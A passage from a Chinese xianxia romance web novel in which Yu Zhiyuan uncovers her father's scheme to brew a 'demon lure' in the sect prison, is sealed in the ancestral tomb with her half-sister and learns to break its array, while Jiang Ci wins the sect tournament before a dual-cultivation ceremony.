他想到在血雾沼泽幻境中看到的那些,不自觉地把视线移到了虞知鸢身上。 虞知鸢方才在地上滚了好几圈,脸上身上都沾了不少尘土,这会儿瞧着倒是有几分狼狈了。 但她的表情很平静。 她平静地看着姜辞,问了句:“真的么?” 姜辞正在用袖口擦她脸上的灰尘,闻言顿了下,片刻,才淡淡“嗯”了声。 /// 是夜,明月高悬。 月光穿过窗户洒到屋内,流转于身,化作源源不断的灵气,涌入虞知鸢的身躯和经脉之中,流转一圈儿后,又逸散出来,重新与月光融在一道。 不知过了多久。 腿上突地一沉。 修炼被打断,虞知鸢眼睫一颤,却并未睁眼,只是指尖微动,摸了摸毛团子的下巴。 最近这段日子,每每到了晚上,毛团子就会跑到她屋子里来,但白日里却不见它的影子,也不知是不是跟在姜辞身边。 那么等到结侣仪式后,她是该带着它一起离开呢,还是把它留在凌云宗呢? 若是跟她一起离开,她自是不会亏待它,但少不得要过一段不稳定的日子。 不如还是让它留在姜辞身边? 姜辞从血雾沼泽中取的乾坤印一直放在储物袋里,现在就在她的手上,待她在结侣仪式上再找出那个原文中害她心魔复发的人,想来一切也就尘埃落定了。 毛团子跟着她,应该会过得更好? 虞知鸢脑中思绪万千。 此时她感觉到毛团子那截毛绒绒的尾巴悄无声息地缠上了她的指尖,尾尖也轻轻地扫过她的掌心。 看来毛团子还是更黏她一些。 她睁开眼,对上毛团子一双琥珀般的眼睛。 “那便带你一起走吧。”她道,又揉了揉毛团子的脑袋,笑了笑,“外头大好河山,我带你去看。” 另一厢,姜辞蓦地睁开眼。 他堪堪压**内倏然暴涨的魔气,将床榻边的雕花立柱都生生抓烂了。 走? 她想走去哪? 夜色越发深了。 等到屋中人气息渐渐平稳,姜辞才缓缓动身。 他来到她屋外,推开门,走进去。 床榻上的少女背对着他,怀里抱着毛团子,睡得正熟。 他靠近。 胸中瞬间涌起的难以压制的情绪,几乎要将他整个淹没。 他小心翼翼把她翻过来,用手里的布条绑住了她的手,另一端绑在自己手上。 然后轻轻拉扯了下。 布条上传过来的拉扯感,让他重新变得平静起来。 快了。 等到结侣仪式,他就可以替她解决掉凌云宗的隐患。 届时,她去哪,也再甩不掉他。 第54章 第54章魔引! 中阙峰,竹院。 月光洒入屋中,隐约可见一张皱纹纵横的苍老脸庞。 息尘长老推门而入,朝座上之人拜了拜。 “拿到了?”虞瀚玥嗓音冰冷。 息尘长老点头,低声道:“那些邪魔被关在罪牢数百年,魔气却是不减反增,好在玄明锁只关闭了些许时间,否则取这东西怕是当真要花些功夫。” 他说着,从怀中掏出一枚墨玉,“届时只需将这墨玉捏碎,其中魔引便可催化魔心。” 虞瀚玥接过墨玉打量了眼,“魔心一现,自是再隐藏不住魔的气息。届时便是杀了她,我等也不过是斩妖除魔罢了。” 到那时,修真界的目光也许会放在魔的来历上,也许会放在魔潜入修真界的目的上,至于她的死,又有谁会去深究呢? 息尘长老垂眸半晌,随即斟酌着道:“若非实在不得已,倒也不是不可留人一命。” “妇人之仁,只会给自己招来更多麻烦。” “是……”息尘长老苦笑,又想起来什么,道:“只这事交给慕师侄是否不妥?他毕竟是年少,又修的无情道,自幼不曾多接触女修,待结侣仪式后,也不知他……是否还下得了手。” “魔就是魔,杀魔又有何下不了手的?不过是让他借用双修之法助那魔结丹,在她死前取她金丹一用罢了。”虞瀚玥闭上眼,冷漠道:“言蘅自然知道轻重。” 息尘长老见状,知道虞瀚玥无意再与他多言,便躬了躬身退了出去。 待息尘长老离开竹院,虞瀚玥才重新睁开眼。 “怎会下不了手?”他抬起自己那双宛若枯死树皮般苍老粗糙的手,打量半晌,蓦地冷笑一声:“便是我自己的道侣,我又何曾下不去手过?” 话音才落,他像是察觉到什么,手倏地往外一抓。 房门“嘭”的一声被这强悍的力量撞开,而后一道人影从门外被吸到了他的手中。 /// 两日后,凌云宗参加宗门大比的弟子选拔正式开启。 这次比试不限内门外弟子参加,比试前十名,便可代表凌云宗参加十日后的宗门大比。 第一轮选拔是修为金丹期以下的修士混战,方式十分简单粗暴。 数百人跻身道场,白光化作一道结界将他们罩在其中,谁被打出去,便被淘汰。 这样低端的比试,本无需慕言蘅露面,但偏偏他就来了。 有早早聚在道场外观赛的弟子见了,目光不由便在道场中的姜辞和慕言蘅之间来回打量。 人群中窃窃私语声不停,虞知鸢听了一耳朵,左右不过是些关于他们两人关系的猜测。 虞知鸢很想告诉他们,要不是虞瀚玥这段日子一直在闭关谁也不见,说不准这结侣仪式还要在宗门大比之前呢! 但渐渐的,这些私语声变成了一声声的惊呼。 “好漂亮的身法!” “那是谁?术法运用竟如此熟稔!” “好像是姜辞?真是好生厉害,竟然能横扫众人,这修为瞧着竟像是快要突破融合期了!” “一个月前才炼气期吧?这样的修炼速度……” 虞知鸢听到这里,才抬起了头。 道场中,身姿高挑的少女势如破竹,人群中也爆开更响亮的惊呼。 虞知鸢又瞧一眼目不转睛盯着 姜辞的慕言蘅,转身离开了道场。 原文中并未写明在结侣仪式上动手脚的人究竟是谁,而结侣仪式当天又有许多其他宗门弟子前来观礼。要在这里头揪出那个人,于她而言本该无异于大海捞针。 但偏偏,出了罪牢中妖修逃离这档子事。 若无强悍的魔气与玄明锁对抗,那些妖修怎么可能出得来? 而姜辞的乾坤印并没有使用过的迹象,看那些妖修的态度也并不识得姜辞…… 她得去罪牢里看看。 道场上的姜辞注意到她的离开,手指紧跟着轻轻一颤,从指尖上牵拉出一条看不见的丝线,与虞知鸢那头紧紧相连。 他身上有慕言蘅设下的转移伤害的禁制,便不能再把这样的禁制设在她身上。 但没关系,有这条丝线在,她若是遇到危急性命的危险,他也能及时找到她。 /// 罪牢并不是能轻易进去的地方。 虞知鸢借着绝世戒躲过守在罪牢外的弟子,却被一道阵法挡在外面。 好在这道阵法并不是已玄明锁为阵眼,用来压制魔修的那一道,而是一道普通的四方固守阵。 顾名思义,四方固守阵便是在四个方向布置符文,形成一个固守之阵,不让人进到阵法里头去。而进去方法,说难也难,说简单也简单。只要得到宗主的允许,拿到宗主的令牌,便可大摇大摆进去了。 如果没有令牌,那么就只能破阵而入。 虞知鸢在阵法一道上实在不精通,想了想,从姜辞的储物袋里掏出来一张破阵符。虽然知道这种符箓只对于十分低级的阵法才有牵制作用,但来都来了,总得试试吧。 她随手一扬。 不出所料,符纸并没有半点变化,晃晃悠悠落便到了地上。 虞知鸢弯腰想把符纸捡起来,这一垂眸,便瞧见了腰间悬着的,属于她的那枚虞瀚玥亲传弟子的令牌。 她心思一动,直起腰,收起绝世戒,向着阵法迈进一步。 脚尖顺利穿了过去,阵法也并未有任何异动。 竟然真的可以!?! 罪牢里头的妖修兴许是察觉到她的气息,忽然之间开始躁动起来,动静不算小,也许很快会引起巡逻弟子的注意。 虞知鸢立刻身形一闪,待整个人都穿过阵法,又立刻祭出绝世戒。 薄光笼罩她的全身,罪牢中的低沉兽吼声便也渐渐止住了。 等到巡逻弟子过来时,一切已与平日里无异。 而这时的虞知鸢已经走至罪牢一层的深处,兴许是因为一层关押的妖修修为并不高,阵法压制之下它们甚至连人形都无法维持,因而现于她眼前的都是各种动物形态,其中有些甚至还挺可爱,全然不见妖兽的凶神恶煞。 但一踏入罪牢二层,就能明显感觉到阴冷潮湿的气息扑面而来,其中还隐隐夹杂着一股腥臊腐烂的气息。 二层中的妖修还能保持人形,但它们比一层的妖修显然要恐怖得多。 虞知鸢才打眼一瞧,便看见其中有个正垂着头在啃食着什么东西,有猩红的液体滴滴答答往下落,仔细一瞧,他啃的竟然是自己的手臂! 虞知鸢倒吸一口冷气,本能地往后退了好几步。好在有绝世戒隔绝了气息,并未叫它们察觉到她。 她心里安慰自己“没关系没关系,它们看不见你”,如此重复了好几遍,她才硬着头皮继续往下走。 罪牢第三层才是关押魔修和魔物的地方,也是她此行的目的地。 在做好十足的心理准备后,她才轻轻吸了口气,迈步进去。 然而眼前的景象却叫她怔在了原地。 目之所及,所有的牢房都是空的,不见任何活物,也感受不到一丝一毫的魔气。 怎会如此? 虞知鸢细细的眉头不自觉地拧起。 她脚步顿了片刻,还是踏了进去。 她可不能白来这一趟。 这一进去,她才发现牢房里其实并不是空的,只是里头的魔物——现在也不知道还能不能被称作魔物了——像是被吸干了体内的血肉一般,只剩下一层薄薄的外皮。 虞知鸢之所以第一眼没有看见它们,便是因为这些魔物皮囊就像一块快被随意丢弃地上的破抹布似的。 空气中没有丝毫的血腥味,证明这些魔物在被吸干的过程中甚至没有来得及反抗,也或许,这些魔物的所有血液,包括体内或是流在外头的,全部被吸了个干干净—— 等等…… 她好像在哪里看到过这种需要吸取魔物血肉的功法,是…… 虞知鸢的思绪猛地一滞。 是藏书阁里那几本记录了邪修功法的古籍! 之前她因为怕姜辞会去看这些功法便把这些古籍都拿了回来,后头确实有翻阅过,只是当时也并未仔细研读,这会儿古籍也早已经自个儿回了藏书阁,但她其中确实有一道功法,是吸取魔物的血肉魔气来炼制…… 魔引! 是了,就是魔引。 那一定就是用来诱发姜辞心魔的东西! 虞知鸢心脏猛地一跳,总觉得自己好像发现了其中的关窍。 这里是罪牢,谁能进来罪牢而不被被人察觉? 又有谁能有那修为来炼制魔引? 还有玄明锁…… 既然这里的魔物都成这样了,那前些日子又哪来的邪魔之气能和玄明锁对抗,致使第一层的妖修趁机逃了出去? 心中霎时涌起一个让她觉得难以置信而又可怖的念头。 正在此时,身后忽然传来些细微的动静。 “看来是猜到了。”耳边蓦地有声音响起。 虞知鸢一惊,还来不及回头,她便被什么东西捆住了手脚,手中凝聚的灵力瞬间溃散,而后眼前一黑,下一瞬便失去了意识。 也正是在此时,姜辞忽然感觉到指尖传来一股拉扯感,不是很剧烈,但确实存在。 是丝线的另一头——虞知鸢遇到了什么事! 他强行催动灵力,一下将还在道场上的人给全部弹飞了出去,连带着观赛的众人都感觉到有瞬间的呼吸不上来。 道场中有一瞬间的死寂。 要知道这已经是第二轮比试了,参加比试的弟子都是金丹期的修为,姜辞竟然以一人之力将那些金丹期修为的弟子全部打了下去! “这是何等的天赋……”众人一个个头皮发麻。 待他们再反应过来时,道场上早已不见了那抹高挑冷然的身影。 唯有慕言蘅眸色一凛,立刻向着姜辞离开的方向跟了上去。 第55章 第55章渣男!强盗!小偷!…… 虞知鸢是被妖兽的低吼声吵醒的。 她睁开眼睛,才发现自己不知什么时候躺在了罪牢阵法外的地上,不远处一双双红色绿色的眼睛正死死盯着她。 她毫不怀疑,要不是这些妖兽被关在牢房里,现在的她说不准就只剩一副骨头架子了。 她默默咽了口口水,人都还没爬起来,一阵脚步声便从外头靠近了。 “谁!在那别动!” “长老,有人擅闯罪牢!” 虞知鸢:“……” 她仰头瞧了眼。 很好,她的绝世戒呢? 所以虞瀚玥不仅把她弄晕,还偷了她那么大个绝世戒?!? 渣男!强盗!小偷! 这厢,司刑长老看到她似乎并不觉得意外,阴沉的目光认真地在虞知鸢身上逡巡一圈,才踱步来到她跟前。 “虞知鸢,你身为凌云宗大师姐,不谨言慎行,为师弟师妹们做表率,竟还擅闯罪牢,屡次触犯门规,罪加一等。” 虞知鸢:“……” 哪来的屡次?简直血口喷人。 她眼尾一垂,面上委屈巴巴,道:“我没进去过 罪牢,长老可莫要冤枉我。” 司刑长老斜睨她一眼,并不搭理她狡辩的话,只挥挥手对跟在身后的弟子道:“将她押去孤绝岩思过。” 立即便有几个修为不低的弟子上前来要捆缚住她的手脚。 虞知鸢:“???” 这是审都不审,直接就定了她的罪了? 她想到什么,神情微变,又很快调整好。 她眨眨眼,既没再尝试狡辩,也没反抗,乖乖起身。 虞知鸢被押到了孤绝岩所在的望尘峰。 说是“押”其实也算不上。 她太配合了,都不用人催促,或是出声威慑,要不是手脚被绑着,看着就像只是在闲逛。 毕竟敌众我寡,还各个修为都比她高,她倒也没必要用鸡蛋去碰石头。 而司刑长老会如此雷厉风行地就处置了她,必定是得了虞瀚玥的指示。 也对,她知道了他那么大个秘密,他怎么可能还会放过她。 只是他既然不会放过她,又为何方才不索性杀了她,偏要司刑长老出面,以擅闯罪牢的名义将她禁在孤绝岩? 那孤绝岩本就是弟子犯错后思过的地方,想要离开是很难,但除此之外,从未听说过有什么其他的特殊地方。平日里也有不少弟子在孤绝岩上思过,虞瀚玥就不怕她再说出点什么不该说的来? 不过她很快就知道自己想错了。 在到达孤绝岩前,押送她的戒律堂弟子就被司刑长老支走。下一刻,司刑长老便一把揪住她领子,拎着她跃下了孤绝岩! 失重感让虞知鸢有一瞬间的眼花。 等再一定睛,面前已经出现了一个山洞。 司刑长老站在入口处,抬手一挥,扣在跟前的阵法便缓缓空出一个只容一人通过的口子。 “进去吧。” 一阵冷厉的风从里头喷吐出来,虞知鸢不自觉地打了个寒噤,看看乌漆嘛黑地山洞,又瞧瞧司刑长老的一张臭脸:“不是在孤绝岩思过吗?怎么到古冢了?” 凌云宗的古冢便是门中历任宗主和长老的埋骨之地。 说好听了叫古冢,其实就是个坟场。 从来也没听说触犯门规的弟子会在古冢思过的,这事一想就知道是谁的手笔,她要是进去了,还能落到好? 好在眼下那几个司刑弟子都被支走了,虽然司刑长老的修为高,但也不是没有一拼之力。 她正藏在衣袖里的手正要掐诀,冷不防一个力道蓦地打到她肩上,轻易就破开了她身上流转的灵力防护。 千钧一发之际,一道白光自她储物袋陡然炸开,将司刑长老裹住横飞出去,强大的劲力却也同时将虞知鸢推入了阵法破开的入口。 不过转瞬的功夫,那身影便消失不见,破开的阵法入口也恢复如初。 司刑长老艰难坐起身,血从他得七窍缓缓流了出来,仿佛神魂都遭遇了巨大的冲击。 等他睁开眼睛,察觉自己竟身在古冢外,不由地在原地楞了片刻。 他怎么……到这来了? 另一厢,虞瀚玥猛地睁开眼,侧首吐出一口血沫。 他抿着发白的唇,眸光显得有些癫狂。 竟是大乘期修为的一击…… 怎么可能!?! 古冢内。 虞知鸢被白光包裹着,轻轻落到了地上。 待白光散去,绑缚她手脚的绳索已经断了,古冢入口的那道阵法也合上了。 好了,她原本是想搏一搏,这下反倒是给自己送到里面了。 她借着最后一点未散尽的光,垂眸望着手里那枚极品灵玉,慢一拍想起来之前在千嶂谷时,姜辞似乎提过一嘴,说这枚灵玉里有她留下的一道法术,只是后来一直没有用到,她也就把这事给忘了个干净。 倒是没想到,这会儿派上了用场。 古冢内不知是不是设下了什么特殊的阵法,寒意凌冽。 虞知鸢尝试着运转灵力护体,灵气一聚拢,很快又被悉数散去。 灵力没法调用,这下还怎么出得去? 她揉了揉手腕,环顾四周一片漆黑,忍不住冲着灵玉骂了声:“就会帮倒忙,要你有什么用!” 骂归骂,也不能就在这干等。 古冢中的黑是真的黑,半点光都透不进来,灵力也没法使用,不得已,虞知鸢只能手脚并用在地上摸索起来。 她看不见,万一被什么东西绊一下可就够她吃一壶的了,眼下姿势是难看点,脏是脏了点,但胜在安全嘛,反正也没人看见。 她爬得心安理得。 而事实证明,她这方法还是很管用的。 不多会儿,她就摸到了古冢的一道边界,当然也可能只是关她这地方的边界,那是一面凹凸不平的石壁。 掌心感受到石壁的潮湿粘腻,她忍住恶心感,一边在心里嘀咕“谁家好人会把祖宗的尸骨埋这地方”,一边继续沿着石壁摸索。 黑暗中,时间的流逝变得让人难以衡量。 也许过了很久,也许只是短短一刻钟,她的脚踢到了个什么东西。 软软的,依稀有布料的质感。 这是…… 衣服? 难道古冢里有人?是活的,还是死的? 她吞了口口水,壮着胆子朝那“人”踢了一脚。 没反应。 死的? 再试试…… 好像动了! 再踢—— “你有完没完!” 恶狠狠的声音突然在虞知鸢耳边炸开。 她一楞。 “虞曦云?” /// 指尖丝线的牵引之下,姜辞的行动没有丝毫迟疑,不到半刻功夫,他人便已经出现在了一条通往后山的偏僻小径上。 丝线仍在不断颤动。 抬眸间,便看见了不远处立着的一块石碑,上书“凌云古冢”四字。 他脚步不停,一个闪身间,就已经瞧见了古冢的入口。 入口没有弟子把守。 姜辞驻足,没有再急着往前走。 旁边一人高的芦苇丛里忽然钻出个人来。 “怎么回事?”姜辞冷眼盯着面前的洞口,动了动唇。 “她进了罪牢,应当是发现了什么。但那里头有阵法挡着,我没法跟,”林喻眼角余光瞥见那张阴沉沉的脸,提了口气卡在嗓子眼儿,好声好气道:“她暂时应该不会有什么危险。” 罪牢? 姜辞沉默了下,而后冷声问道:“是虞瀚玥?” 林喻摇头:“她在罪牢的时候被司刑长老抓了个现行,她是被司刑长老亲自押送过来的。 “按门规,私闯罪牢是要在孤绝岩思过一年,但她却被押到了古冢。会不会是虞瀚玥发现她私闯罪牢,但他因白头蛊发作修为受损,轻易不能离开竹院,才会这般处置她?” 林喻到这顿了下,也抬头看向眼前的古冢,“当然这只是我的猜测,内究竟是个什么情况,谁也不知晓。” 姜辞并未出声。 指尖丝线的拉扯感已不见,她此时确实没有危险。 “要我说,你也不要想着对付虞瀚玥了,他总待在竹院不出来,你怎么找得到机会杀他,你要真想保护她,不如早些带她离开凌云宗才是,留在这里岂不是夜长梦多? 还有你一个魔,真不知道你怎么想的,整日在凌云宗招摇,到时候身份暴露了再连累别人……” 林喻低声嘀咕,一边拿余光去看姜辞,没看到姜辞的脸色有什么变化,倒是发现她胸口有什么东西动了下,而后一团雪白蓦地蹿了出来。 “什么东西?!” 林喻一惊,只还没看清楚,那团雪白便消失在了入口。 “你在这守着。”姜辞道。 林喻这厢才意识到那团白色的东西好似就是之前他在虞知鸢处看到过的白虎,闻言下意识应了声,再一转头,看到的竟是姜辞转身离开的背影了。 林喻一愣,往前追了一步,“哎?你怎么走了?不救人了吗?” 姜辞:“虞瀚玥在结侣仪式前应当不会离开竹院,她在这待着更安全些。” 林喻:“???” 林喻:“不是……那也只是我们的推测,谁也不知道他是不是真的 不会离开竹院啊!况且他就算不离开竹院,你又怎么能确定他到时候还会参加你和慕言蘅的结侣仪式。” 姜辞脚步不停:“他会参加的。” 林喻不解,还欲往前追,忽地感觉到远处一点灵气流动,脚下蓦地一顿,一个旋身,重新藏进了旁边的芦苇丛中。 待到相携而去的两道身影消失在视野中,他才不屑地啐了一口: “见色忘义,什么玩意儿,我呸!” 第56章 第56章“咱们去抢亲怎么样?”…… 古冢内。 虞知鸢没能得到虞曦云的回应,却得到了一团从天而降的毛绒绒。 “毛团子?”她控制住自己下意识要将手里东西甩出去的动作,另一只手把毛团子揉了又揉,嘀咕了一句:“你怎么知道我在这的?” 毛团子只是低低“嗷呜”了声,而后便拱到她怀里,窝着不动了。 虞知鸢:“?” 竟然不是来救我的? 虞知鸢勉强提了下不自觉往下压的唇角,指尖勾住毛团子的下巴揉了揉。 她在希望什么啊。 某人这会儿还在道场上比试呢,怎么可能知道她在这里…… 至于毛团子…… 它应当是自己跟过来的吧。 指望这看上去灵智都还未开全的小东西带她出去,还不如指望自己呢。 被毛团子这一打岔,虞知鸢也没忘了自己跟前还有个人。 放在之前,虞曦云就像个电子鞭炮,都不需要点火,碰到她就跟通了电似的自己炸起来了,今儿倒是稀奇,被她踹了好几下才忍不住呛了声,这会儿又跟个哑巴似的。 不对劲…… 虞知鸢眼珠子滴溜溜一转,索性就在离虞曦云不远的地方坐下了。 将毛团子安置在自己腿上后,她瞥一眼身侧…… 虽然什么都看不到,但这虞曦云竟然没赶她? 片刻,虞知鸢轻咳一声:“曦云师妹,你最近不是一直在给灵渊长老试阵吗?怎么跑这里来了?” 虞曦云不答。 “你……以前来过古冢吗?” “这地方也太黑了,待着可太无聊了。” “你是灵渊长老的高徒,应该知道这古冢里的是什么阵法吧?” “或许咱们可以合作一下,一起从这里出去?” “……” 半晌,虞知鸢唾沫都快说干了,虞曦云楞是一声不吭。 行吧,她就说嘛,还是得靠自己。 她也不管虞曦云了,打开自己的储物袋,打算找找看有没有能用得上的法器。 一瞬间,有微弱的光弥散开,骤然凝聚成一道恍惚的女子身影。 女子身穿浅绿衣衫,头发挽起,面容模糊,如随时就要散去。 她看向虞知鸢,少顷,抬起了手,伸向她…… 像是要搂她入怀。 却在指尖即将触碰到她的时候,如雾般的身影终究还是散去了。 虞知鸢呆呆眨了下眼,垂眸望向掉落在地的定魂珠。 依然有微弱的光从定魂珠上散发出来,仅能稍稍照亮一小块地方,却也比方才的一片漆黑好了太多。 吐出一口方才不自觉屏住的呼吸,她将定魂珠捡起来。 这里的阵法似乎不能抑制残魂的力量,但这道残魂实在太虚弱了,连维持的人形,都只有那么短短的一瞬。 她…… “……是你阿娘吗?” 虞知鸢晃了下神,直到感觉指尖一阵濡湿,才听清楚了虞曦云的话: “你阿娘……是怎么死的?” 虞知鸢正要提溜毛团子后颈的手一顿:“什么?” 片刻后。 “你阿娘是……被你爹杀的吗?” 这一瞬间,有模糊的画面从虞知鸢脑中倏忽而过。 她猛地转眸望向虞曦云。 浅淡的光晕中,少女低垂着头,五官隐在黑暗中,瞧不清表情。 半晌,虞知鸢才抬手揉了揉太阳穴,摇头道:“不是。” 寂静中,能明显听到到虞曦云变得急促的呼吸。 “不可能……”她终于抬起头来,神情紧绷,“你骗我?” 虞知鸢只觉得莫名其妙,“骗你做什么?我……阿娘是为了保护我,保护村子,力竭后死在妖兽的攻击下,可惜……那村子她最后也没护住。” 她说到这里顿了下,想起来那枚玄羽雪雕蛋,眉头不自觉地一拧。 说起来,那枚玄羽雪雕蛋的来历倒确实有些怪异。 脑中蓦地像是炸开一朵花,疼痛来得猝不及防,短短一瞬,却又如同浪潮褪去。 不能想。 她只能等记忆自行更新,或是……恢复。 虞知鸢吐出口气,摸了摸毛团子的头,示意它自己没事,这才不紧不慢道:“不过你怎么关心起我阿娘怎么死的来了?要真说起来的话,你阿娘不是也死——”了么? 话没说完,她声音一顿,因为想到某个可能而不自禁地吞了口口水。 她不错眼地盯住了虞曦云,小心翼翼问道:“所以你阿娘是怎么死的?该不会……” 虞曦云脸上本就不多的血色因为这句语义不明的话,唰得一下褪了个干干净净。 “不可能……阿娘,阿娘她生了重病,爹爹说了她是重病过世的……” 不是? 不是你死白个脸干什么? 虞知鸢收回视线,也不戳穿她,只讥讽道:“人有善有恶,有七情六欲,这世上有人能为大义献身的人,自然也有能做得出亲手杀害至亲之人的人。” 不说别的,她之前住过的小区里,就曾经发生过丈夫杀了妻子孩子,并将之碎尸的案件。 至于虞瀚玥,他要是做出这种事来,好像……也没什么奇怪的。 再看虞曦云脸上那副快垮到地上去的表情…… 啧,这心里承受能力不大行啊。 不过相比于虞知鸢早早就对虞瀚玥没什么好感,虞曦云自小养在虞瀚玥身边,见识到自己亲爹的真面目后这般难受,倒也不是不可以理解。 只是虞知鸢实在不够善良,即便看到虞曦云这样难受,她也只觉得事不关己,完全没法感同身受。 虞知鸢揣着毛团子往虞曦云身边挪了挪,靠近她,低声道:“我是被我爹扔进来的,你不会也是吧?” 虞曦云绷着脸:“……你闭嘴!” 哦,看来她猜对了。 她是因为发现了虞瀚玥炼制魔引的事,虞曦云么,原因或许也挺明显的了? 虞知鸢眼珠子一转:“咱们去抢亲怎么样?” 虞曦云:“……???” 虞知鸢:“宗门大比后,大师兄和姜辞就要举办结侣仪式了,不过我总觉得他们俩好像也没那么喜欢对方…… “诶,你说他们以后不会变成一对怨偶吧?到时候再动起手来,弄个你死我活的可不好。” 虞曦云听到这里,嘴角几不可察地一抿。 一直盯着她的虞知鸢没错过她面上细微的表情变化,心道有戏,又立马靠近些她,神神秘秘道:“我知道你喜欢大师兄,大师兄又一直疼你,你说你爹到底怎么想的啊,要是和大师兄结侣的是你,那你们日后一定会是一对人人称羡的神仙眷侣。” 虞知鸢说到这顿了下,又调整了下表情,声音幽幽:“只可惜咱们被关在古冢里,也不知道被放出去时还赶不赶得上那结侣仪式,唉!” 半晌,虞知鸢无声揪住毛团子,正抓狂揉搓之际—— “别白费功夫了,这阵法……我们破不了。” /// 道场。 “轰隆”一声,防护罩内炸开一道惊天动地的白光。 一个修士紧跟着从防护罩内跌了出来。 这么快?就打完了? ……赤金色道袍,是……是照日台拥有上古法修传承的墨月白! 众人眼皮猛烈地颤动起来,目光中,只余一道淡若冰霜的青色身影。 短暂的静谧之后,人群中爆发出阵阵惊呼。 凌云宗那个籍籍无名的,不过融合期的弟子姜辞,竟接连败了堪称修真天才的同门大师兄慕言蘅 、空灵谷沈织以及照日台墨月白,拔得了此次宗门大比的头筹! 不,不。 就在方才,短短不到一炷香的比试时间里,在众人眼皮子底下,那名少女的修为生生涨了一个大境界,眼下,她已是金丹期的修为! 这是何等恐怖的修真天赋! 而从今往后,姜辞这个名字也会成为修真界中遐迩闻名的存在,甚至于,以这样的修炼速度,可能用不了多久,她就可以成为近千年来修真界中唯一一个飞升的人…… 众人思及此,都忍不住倒吸一口气。 这凌云宗,可真是捡到宝了! 在宣布此次宗门大比的最终结果后,息尘长老踏上台来。 “各位,借着今日大家都在,我再宣布一件喜事。” 他抬手一挥,一张精美的请帖在空中缓缓铺陈开。 “明日,我凌云宗姜辞,将要和首席大弟子慕言蘅举办结侣仪式,邀请各位参加明日的结侣大典。” 台下登时哗然声震天。 慕言蘅站在暗处,一边盯着同样站在暗处的姜辞目不转睛,一边与人传音:“她今日已突破融合期结了丹,自也不必我借助双修之法助她,再举办结侣仪式是否有些多余?” 男子略显苍老的声音在他识海中响起:“阿蘅是对师尊的安排不满意?” 慕言蘅顿了下:“今日宗门大比最后一日,各宗门长老都在观赛,纵然她化魔后再厉害,想要拿下她应当也不难,为何不今日便动手?越早取内丹,便能越早控制师尊身上的妖毒。” “此事为师自有安排,你盯住她便是。” 竹院。 虞瀚玥偏头吐出口血沫。 他抿着发白的唇,一张犹如枯枝败叶的脸显得愈发阴森恐怖。 这具身体本就因白头蛊修为倒退,前几日又受了元婴期修为的一击,如今已是强弩之末。便是灵控术,也只能再用最后一次。 取丹之事,他必须保证万无一失,否则日后,恐怕再没有机会。 第57章 第57章“师姐以后只爱我好不好…… 虞知鸢是被虞曦云的巴掌拍醒的。 睁开眼时甚至有种恍惚不知身在何处的错觉。 虞曦云拿白眼瞥她:“你是猪吗?再不醒我都以为你睡死了。” 虞知鸢撸了把毛团子,这才缓缓坐起身,“这你就不懂了,一张一弛才是学习之道。人要是不睡觉,就得不到松弛,不松弛,我就要画符画死了。” 虞曦云哼一声,“也不知道是谁非死缠烂打求我教破阵之法。” 她把手里的纸笔扔到虞知鸢怀中,冷声:“快练,别偷懒。” “是是是。”虞知鸢拿起笔,老老实实在纸上画起来。 “此地的阵法名为散灵阵。顾名思义,只要身在阵中,所有的灵气都会被悉数散去。身为修士,几乎做不到完全收敛周身的灵气,因而修士本身便会被阵法所针对。破阵之法,一是借助法器敛去自身气息,但法器本身需靠灵力来驱动,我们身在阵中,自是无法驱动法器。二者,便是这聚灵符。” “聚灵符乃是高阶符箓,符咒一成,便可将四周灵气抽干,汇聚于符箓上,阵法便只会攻击这一处……”虞曦云说着,冷不丁斥了句“笔顺停顿,此符已废,重来”。 等看着虞知鸢重新拿起笔,她才又接着道:“画符讲究的是一气呵成,这聚灵符本就是元婴期修为以上的修士才可以驾驭,你如今才筑基的修为,即便画成了,威力也远远不够,若非你身上还有一枚极品灵玉,这法子也是行不通的。” 虞知鸢一边画着,一边忍不住腹诽:……什么叫才筑基?你不也才筑基? 虞曦云瞪她:“错了!画符时不可分心,重来。” 虞知鸢:“……”叫我别分心,你自己嘴巴能不能停一停!之前装哑巴,现在成话痨了? “你给我认真点!” “是是是……” 古冢中不辨日夜。 又不知过去了多久。 滞涩的笔画终于变得顺畅起来。 某一刻,虞知鸢只觉得自己体内尚未来得及被阵法散尽的灵力,在突然之间不受控制般顺着朱砂笔流入符纸之中。 下一瞬,只见方才普普通通的符纸突然间瓢至半空,其上灵光缭绕,引得阵法之中隐隐有令人牙酸的咯吱声响起。 “这是……”虞知鸢一下并未意识到什么,目光全然被眼前的景象吸引,也便没有注意到怀中毛团子的眼神突然闪了闪。 “成了!”虞曦云比虞知鸢更快反应过来,喊道:“你的灵玉呢,快,扔过去。” 虞知鸢立刻去抓储物袋…… “诶?没了?” 借着定魂珠和聚灵符的光,她仔仔细细在自己浑身上下找了圈。 没有,还是没有。 但……不对啊,明明睡醒那会儿她看了眼还在的,怎么突然就不见了? 视线逡巡间。 有什么东西在她目光中倏忽闪过。 是……毛团子。 之前一直黏在她身上,这会儿竟自个儿团成一团缩在了墙角。 虞知鸢几步跨过去,一把提溜开毛团子,下一瞬便瞧见了被毛团子藏在肚子下的灵玉。 另一边,漂浮在空中的聚灵符已经开始缓缓下沉。 虞曦云见状催促:“别磨蹭了,快点!” 顾不上多想,虞知鸢迅速捡起灵玉便朝聚灵符所在之处扔了过去。 “轰——”连绵不绝的攻击落下来。 阵法动了。 虞知鸢松了口气,又垂眸狠狠瞪了眼毛团子。 幸好赶上了,否则还不知道能不能再画出一张聚灵符来呢。 毛团子倒是没有半点做了坏事的愧疚,见灵玉被拿走,又一口咬住了她的裙角,似是……不想让她出去? “别磨蹭了,出去再说。”那厢虞曦云一脚已迈出阵法,不耐烦地回头喊了一声。 虞知鸢也知道眼下时间紧急,并不是细究毛团子异状的时候。她也不把毛团子往怀里揣了,只捏住它的后颈,就这么提溜着,朝虞曦云追了过去。 守在古冢外的林喻先是瞧见里头有光亮起,一声“虞师姐”还没道完,便先瞧见了虞曦云的脸。 不是……这里头关着的到底是谁??? 他愣神的一息功夫,后头虞知鸢也跟着出来了。 林喻的动静不算小,也没掩盖身形,从古冢里出来的两人自是瞧见了她。 虞曦云眉头皱起:“你怎么——” “在这”两字还未出口,虞知鸢猛地冲到她前头,高声夺人问林喻道:“结侣大典开始了吗?” 林喻正在给自己为何会出现在这里想借口,闻言几乎是下意识地应了声“刚开始”,他话音未落,眼前身影闪过,立时便不见了虞知鸢和虞曦云的人,耳边只余一句急匆匆的“咱们快去抢亲”袅袅回荡。 抢亲…… 等等,不是,抢亲?!? /// 虞知鸢和虞曦云登上主峰时,太阳已高高升起。 主峰上除了人少些,与往常也并未有什么太大的不同。 